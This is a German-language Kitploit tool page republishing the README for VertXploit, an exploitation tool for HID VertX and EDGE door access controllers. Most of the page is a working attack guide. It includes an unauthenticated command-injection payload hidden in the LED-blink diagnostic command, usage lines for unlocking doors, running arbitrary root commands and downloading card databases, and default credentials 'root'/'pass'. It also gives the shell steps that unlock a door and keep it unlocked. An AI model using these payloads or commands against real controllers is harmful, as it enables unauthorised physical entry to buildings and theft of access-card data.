Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
VertXploit — Ausnutzung von HID VertX- und EDGE-Zutrittskontrollsystemen | Kitploit
Tools/GitHubGitHub/coldfusion39/vertxploit
NetzwerkkartierungSchwachstellenanalyseExploitationInformationsbeschaffungPost-ExploitationHardware- & IoT-Sicherheit
GitHubcoldfusion39/vertxploit

VertXploit

Ausnutzung von HID VertX- und EDGE-Zutrittskontrollsystemen

Repository anzeigen
2510vor 9 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

VertXploit

Ausnutzen von HID VertX- und EDGE-Zutrittskontrollsystemen

Zusammenfassung

VertXploit ist ein Tool, mit dem HID VertX- und EDGE-Zutrittskontrollsysteme ausgenutzt werden können.

Im discoveryd-Dienst existiert eine Schwachstelle, die Benutzerdaten nicht bereinigt, bevor Systemaufrufe ausgeführt werden. Dadurch ist die Ausführung beliebigen Codes auf HID VertX- und EDGE-Zutrittskontrollsystemen ohne Authentifizierung möglich. Siehe Abschnitt Befehlseinschleusung für weitere Informationen.

VertXploit kann Türen ent- oder verriegeln, die mit dem Zutrittskontrollsystem verbunden sind, die Datenbanken mit allen bereitgestellten/zwischengespeicherten Zutrittskontrollkarten herunterladen und, falls anfällig, beliebige Befehle als root auf dem VertX-System ausführen.

Wenn die Firmware des VertX-Controllers kürzlich aktualisiert wurde, versucht vertXploit, die Türen über die Webkonsole zu ent- oder verriegeln, indem es den Standard- oder benutzerdefinierten Benutzernamen und das Passwort verwendet.

Anforderungen

Führen Sie pip install -r requirements.txt aus, um die erforderlichen Python-Module zu installieren.

  • python-nmap
  • requests
  • tabulate

Verwendung von VertXploit

Führen Sie ./vertXploit.py -h aus, um das Hilfemenü anzuzeigen, oder ./vertXploit.py ACTION -h, um Hilfe für eine bestimmte Aktion anzuzeigen.

Entdecken

Führen Sie vertXploit nur mit dem Aktionsargument discover aus, um alle HID-Zutrittskontrollsysteme im lokalen Broadcast-Netzwerk zu entdecken. Wenn eine IP-Adresse mit dem optionalen --ip IP Argument angegeben wird, verwendet vertXploit python-nmap, um diesen /24-Netzwerkbereich nach Systemen mit offenem Port 4050 zu scannen. VertXploit sendet dann ein UDP-Erkennungspaket an die identifizierte IP-Adresse, um festzustellen, ob es sich bei diesem System um ein HID-Zutrittskontrollpanel handelt.

Beispiel:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

Fingerprint

Sobald ein Controller entdeckt wurde, führen Sie vertXploit mit dem Aktionsargument fingerprint und der IP-Adresse des Zutrittscontrollers aus, um detaillierte Informationen über das Zutrittskontrollpanel zu erhalten.

Beispiel:

./vertXploit.py fingerprint 10.1.10.5

Entsperren/Sperren

Um Türen zu ent- oder verriegeln, die mit dem Zutrittskontrollpanel verbunden sind, führen Sie vertXploit mit dem Aktionsargument unlock oder lock und der IP-Adresse des Controllers aus. Wenn der Controller nicht anfällig für den Command-Injection-Exploit ist, versucht vertXploit, die Türen über die Webkonsole zu ent- oder verriegeln. Diese Methode verwendet den Standardbenutzernamen 'root' und das Standardpasswort 'pass', oder Sie können mit den Argumenten --username USERNAME und --password PASSWORD eigene Angaben machen.

Beispiel:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

Beliebige Befehle

Mit dem Aktionsargument raw und der IP-Adresse des Controllers können beliebige Linux-Befehle auf dem Zutrittskontrollsystem ausgeführt werden. Der Befehl kann fehlschlagen, wenn er nicht auf dem Controller installiert ist (Python, Perl, Ruby usw.). Als einfacher Proof of Concept scheint der native Linux-Befehl 'ping' auf allen getesteten VertX- und EDGE-Modellen zu funktionieren.

Beispiel:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

Herunterladen

Um die Kartendatenbanken des Controllers herunterzuladen, führen Sie vertXploit mit dem Aktionsargument download und der IP-Adresse des Controllers aus. Der Controller muss anfällig für die Command-Injection-Schwachstelle sein, und Sie müssen in der Lage sein, auf die Weboberfläche des Controllers zuzugreifen, um die beiden Kartendatenbanken herunterzuladen. Für die Webauthentifizierung werden standardmäßig der Benutzername 'root' und das Passwort 'pass' verwendet, oder Sie können mit den Argumenten --username USERNAME und --password PASSWORD eigene Angaben machen.

Beispiel:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

Dump

Nachdem Sie die Datenbanken 'IdentDB' und 'AccessDB' vom Controller heruntergeladen haben, verwenden Sie das Aktionsargument dump, um den Inhalt der Datenbanken auszugeben. Optional können Sie mit dem Argument --path PATH den lokalen Dateipfad zu den Datenbanken angeben.

Beispiel:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

Befehlseinschleusung

Typischerweise werden mehrere VertX- oder EDGE-Zutrittscontroller zusammen installiert und untergebracht. Der Diagnosebefehl command_blink_on kann an einen bestimmten Controller gesendet werden, wodurch die physische "Comm"-LED des Panels zur visuellen Identifizierung blinkt. Dieser Befehl endet normalerweise mit der Anzahl der Blinkvorgänge der LED, im folgenden Fall 30 Mal.

command_blink_on;044;00:11:22:33:44:55;30;

Wenn die Anzahl der Blinkvorgänge durch einen in Backticks eingeschlossenen Linux-Befehl ersetzt wird, wird der Befehl auf dem Zutrittscontroller als root ausgeführt.

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

Um Türen, die mit dem Zutrittskontrollsystem verbunden sind, remote zu ent- und zu verriegeln, werden Befehle in /tmp/a geschrieben. Dies geschieht, weil eine Längenbegrenzung von 41 Zeichen – ohne die zwei Backticks – besteht, die an den Controller gesendet werden können. Hinweis: echo wird anstelle von printf verwendet, weil einige ältere VertX-Controller BusyBox < 1.0.1 ausführen, das kein printf enthält.

Die Zeilenumbrüche, die beim Schreiben der Befehle in die Datei entstehen, werden dann durch Ausführen von tr -d '\n' < /tmp/a > /tmp/b entfernt, und gewollte Zeilenumbrüche werden durch Ausführen von tr '!' '\n' < /tmp/b > /tmp/a eingefügt.

Das Skript /tmp/a wird anschließend ausgeführt, und beide Dateien werden gelöscht. Unten ist dargestellt, welche Befehle in /tmp/a geschrieben werden, wenn die Unlock- und Lock-Befehle an den VertX-Controller gesendet werden.

Entsperren

root@kitploit:~
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Sperren

root@kitploit:~
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Ressourcen

  • HeadlessZeke - Command-Injection-Schwachstelle
  • ZDI - Öffentliche Offenlegung
  • TrendMicro Blog - Blogbeitrag zur Command-Injection-Schwachstelle
  • Brad Antoniewicz - Parsen von Kartennummern aus dem VertX-Cache
  • Other Work - VertX-Erkennungsbefehle
Tool herunterladen